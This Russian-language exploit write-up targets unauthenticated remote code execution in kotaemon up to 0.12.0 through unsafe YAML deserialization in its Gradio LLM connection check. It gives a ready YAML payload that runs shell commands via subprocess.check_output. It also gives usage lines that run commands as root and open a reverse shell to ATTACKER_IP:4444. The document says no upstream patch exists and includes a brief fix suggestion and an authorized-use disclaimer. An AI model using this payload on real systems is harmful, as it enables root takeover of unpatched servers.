
Эксплойт для неаутентифицированного удалённого выполнения кода, нацеленный на небезопасную десериализацию YAML при проверках подключения к LLM; поддерживает выполнение произвольных команд и обратные оболочки через открытый Gradio API.
Неаутентифицированное удалённое выполнение кода в kotaemon
(<= 0.12.0) через небезопасную десериализацию в проверке подключения настроек LLM.
Gradio-обработчик check_connection настроек LLM в kotaemon (libs/ktem/ktem/llms/ui.py) разбирает
переданную атакующим YAML-спеку и небезопасно десериализует её:
spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader) # attacker YAML
info["spec"].update(spec)
llm = deserialize(info["spec"], safe=False) # <-- safe=False
theflow.deserialize(..., safe=False) (theflow/utils/modules.py) разрешает ключ спеки
через , после чего создаёт экземпляр с управляемыми
атакующим kwargs:
__type__import_dotted_stringif isinstance(value, dict) and "__type__" in value:
cls = import_dotted_string(value["__type__"], safe=False) # imports ANY dotted path
params = {k: deserialize(v, safe=False) for k, v in value.items() if k != "__type__"}
return cls(**params) # instantiates with attacker kwargs
Таким образом, спека, у которой __type__ равен subprocess.check_output, выполняет системную
команду во время десериализации (CWE-502).
Два обстоятельства делают это полноценным неаутентифицированным RCE:
auth=. «Вход» лишь переключает
видимость вкладок интерфейса; каждый зарегистрированный обработчик событий публично вызываем.
KH_FEATURE_USER_MANAGEMENT не ограничивает HTTP/queue API.info["spec"].update(<attacker yaml>) полностью переопределяет
LLM-спеку, поэтому нагрузка никогда не обращается к реальному LLM-провайдеру.Официальный Docker-образ kotaemon работает от root, поэтому RCE выполняется с правами root. На момент написания исправление от вышестоящего проекта отсутствует.
Передаваемая YAML-спека:
__type__: unittest.mock.Mock
return_value:
__type__: subprocess.check_output
args: [sh, -c, "<cmd>"]
text: true
deserialize сначала рекурсивно обрабатывает return_value → subprocess.check_output(args=["sh","-c","<cmd>"], text=True) выполняет команду. Обёртка в unittest.mock.Mock поглощает оставшиеся kwargs базовой спеки
(model/api_key), поэтому внешний вызов никогда не ломается, а stdout команды возвращается в сообщении
обработчика Got response: ....
Только стандартная библиотека (Python 3). Эксплойт выполняет два вызова Gradio: create_llm (создаёт
именованную запись LLM, чтобы llms.info()[name] успешно разрешалось), затем check_connection
(доставляет нагрузку).
# run a command as root; output is returned in the response
python3 exploit.py http://TARGET:7860/ -c id
# -> ... Got response: uid=0(root) gid=0(root) groups=0(root)
# reverse shell (start a listener first: nc -lvnp 4444)
python3 exploit.py http://TARGET:7860/ --shell ATTACKER_IP:4444
Если имена обработчиков create_llm / check_connection на конкретной цели отличаются, перечислите их
из GET /config (dependencies[].api_name) и скорректируйте.
kotaemon <= 0.12.0 (порт по умолчанию 7860). На момент написания доступного патча от вышестоящего
проекта нет.
deserialize с safe=True и белым списком allowed_modules, чтобы ни один атакующий
__type__ не дошёл до import_dotted_string.Только для авторизованного тестирования безопасности и обучения. Применяйте только к системам, которыми вы владеете или на тестирование которых имеете явное разрешение.